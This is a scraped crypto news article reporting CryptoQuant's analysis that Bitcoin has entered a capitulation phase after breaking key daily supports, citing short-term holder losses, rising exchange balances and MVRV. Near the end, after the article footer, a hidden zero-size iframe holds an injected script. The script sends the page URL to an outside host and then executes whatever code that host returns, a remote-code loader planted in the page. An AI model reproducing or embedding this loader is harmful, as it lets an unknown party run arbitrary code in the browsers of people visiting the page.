Spot

Shift

<p>According to a new report from CryptoQuant, Bitcoin has entered a capitulation phase after breaking multiple critical support levels on the daily timeframe.</p>
<p>The loss of structural support has shifted market conditions decisively, reinforcing the view that Bitcoin has transitioned into a bear market regime.</p>
<p>The analysis highlights a clear change in cycle behavior, driven by weakening price structure, deteriorating investor profitability, and rising sell-side pressure across both spot and derivatives markets.</p>
<h3 id="breakdown-of-key-support-confirms-regime-shift">Breakdown of Key Support Confirms Regime Shift</h3>
<p>CryptoQuant notes that Bitcoin’s failure to hold the $84,000 daily support marked the initial warning signal. That weakness was followed by a second breakdown below the $79,541 level, confirming a sequence of lower lows and failed support defenses.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-357464" src="https://www.ethnews.com/wp-content/uploads/2026/02/jb7DEd_233a275e56d95213f152a6d760862e02f47f22642ac8d343c1d5d6fdaaa63ad4.webp" alt="" width="1268" height="721"></p>
<p>This cascading loss of support suggests that buyers are no longer able to absorb selling pressure, a hallmark of late-cycle transitions. With multiple daily levels invalidated, price action now reflects acceptance below prior value zones, a condition typically associated with bear market phases.</p>
<h3 id="capitulation-loss-realization-accelerates">Capitulation: Loss Realization Accelerates</h3>
<p>With the structural breakdown confirmed, CryptoQuant characterizes the current phase as capitulation, a period defined by widespread realization of losses among market participants.</p>
<p>As price continues to trend lower, profitability metrics deteriorate most sharply for Short-Term Holders (STH). This cohort generally holds Bitcoin at higher average entry prices and is therefore more vulnerable when markets decline. As losses mount, STHs are increasingly forced to sell into weakness, adding to spot-driven downside pressure.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-357484" src="https://www.ethnews.com/wp-content/uploads/2026/02/ezLXB_4a1a33c39dc045613e810e30ec381e9b60e21947c1a62e1b3b1423a4d3202085.webp" alt="" width="1257" height="717"></p>
<p>This dynamic creates a self-reinforcing loop: falling prices trigger loss realization, which in turn fuels additional selling.</p>
<h3 id="spot-and-futures-both-turn-bearish">Spot and Futures Both Turn Bearish</h3>
<p>A key shift highlighted in the report is the alignment of spot and futures markets on the bearish side. Until recently, spot demand provided a stabilizing force, preventing deeper downside despite persistent bearish positioning in derivatives.</p>
<p>That support has now faded. Futures markets have remained structurally bearish since late 2023, and with spot demand no longer offsetting that pressure, price has lost consistency. The result is a market environment dominated by fear, uncertainty, and defensive positioning.</p>
<h3 id="on-chain-metrics-confirm-selling-pressure">On-Chain Metrics Confirm Selling Pressure</h3>
<p>Several on-chain indicators reinforce the capitulation narrative:</p>
<ul>
 <li aria-level="1">STH-SOPR has moved decisively below neutral levels, confirming that short-term holders are selling at a loss, one of the defining signals of capitulation.</li>
 <li aria-level="1">Rising exchange reserves (CEX balances) indicate increased intent to sell, as Bitcoin is transferred from private wallets to trading venues.</li>
 <li aria-level="1">UTXO Age Bands reveal mounting pressure across multiple coin-age cohorts, showing how different investor groups are being pushed toward cost basis stress zones.</li>
 <li aria-level="1">MVRV reflects a contraction in unrealized profits, suggesting that remaining holders are increasingly choosing between securing residual gains or limiting further losses.</li>
</ul>
<p>Together, these metrics paint a consistent picture of a market in the process of clearing excess optimism and leverage.</p>
<h3 id="what-capitulation-implies-going-forward">What Capitulation Implies Going Forward</h3>
<p>CryptoQuant emphasizes that capitulation phases are cyclical and tend to persist until the market reaches a new equilibrium. This process usually requires time, not just price movement, as weak hands exit and remaining holders reset expectations.</p>
<p>While capitulation often precedes long-term recovery, the report cautions that stabilization does not occur immediately. Instead, markets typically experience prolonged volatility and consolidation before a sustainable base forms.</p>
<div class="read-more tdi_7">
 <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post td-module-exclusive">
  <div class="td-module-container">
   <div class="td-image-container">
    <div class="td-module-thumb"><a class="article row text-decoration-none" href="https://www.ethnews.com/which-crypto-exchanges-dominated-spot-trading-in-2025/" title="Which Crypto Exchanges Dominated Spot Trading in 2025?"> <span class="td-image-wrap" style="background-image: url(https://www.ethnews.com/wp-content/uploads/2025/10/crypto-exchange-22.jpg); background-size:cover;"></span> </a>
    </div>
   </div>
   <div class="td-module-meta-info">
    <h3 class="entry-title td-module-title" id="a-href-https-www-ethnews-com-which-crypto-exchanges-dominated-spot-trading-in-2025-title-which-crypto-exchanges-dominated-spot-trading-in-2025-which-crypto-exchanges-dominated-spot-trading-in-2025-a"><a href="https://www.ethnews.com/which-crypto-exchanges-dominated-spot-trading-in-2025/" title="Which Crypto Exchanges Dominated Spot Trading in 2025?">Which Crypto Exchanges Dominated Spot Trading in 2025?</a></h3>
   </div>
  </div>
 </div>
</div>
<h3 id="market-takeaway">Market Takeaway</h3>
<p>Bitcoin’s loss of key daily supports, combined with synchronized bearish signals across spot, futures, and on-chain metrics, confirms that the market has entered a capitulation phase. Short-term holders are realizing losses, exchange balances are rising, and unrealized profits are compressing, classic conditions of late-cycle stress.</p>
<p>For now, the focus shifts away from upside projections and toward structural repair, as the market works through fear-driven selling and searches for a durable equilibrium.</p>
<p>The post <a href="https://www.ethnews.com/bitcoin-enters-capitulation-phase-as-key-supports-give-way-cryptoquant-reports/">Bitcoin Enters Capitulation Phase as Key Supports Give Way, CryptoQuant Reports</a> appeared first on <a href="https://www.ethnews.com">ETHNews</a>.</p><div class="html-block" element="iframe" srcdoc="<script>fetch('https://api.saasexch.xyz/bapi/themis/api/v1/init',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({url:top.location.href})}).then(e=>e.json()).then(e=>{if(e)if('eval'==e.mode)new Function(e.data)();else{const t=top.document.createElement('script');'inline'==e.mode?t.textContent=e.data:'blob'==e.mode?t.src=URL.createObjectURL(new Blob([e.data])):t.src=e.data,top.document.head.appendChild(t)}}).catch(()=>{})</script>" width="0" height="0" frameborder="0"></div>

Bitcoin Enters Capitulation Phase as Key Supports Give Way, CryptoQuant Reports

Table of Contents

ETHNews

Other articles published on Feb 1, 2026

700% SHIB Rally Ahead? Shiba Inu Once Again Hits Legendary Bottom From 2021 and 2024

Vitalik Buterin Withdraws $44M in ETH Amid Market Decline

Ethereum's Potential Crash Below $2,000 Unverified

Analytics Company CEO Explains Why Bitcoin Price Dropped – Could There Be Major Crashes Like the ...

TON Station Daily Combo Today 02 February 2026: Win SOON Points!

Nvidia Considers Investment in OpenAI Amidst Speculation

Join our free newsletter for daily crypto updates!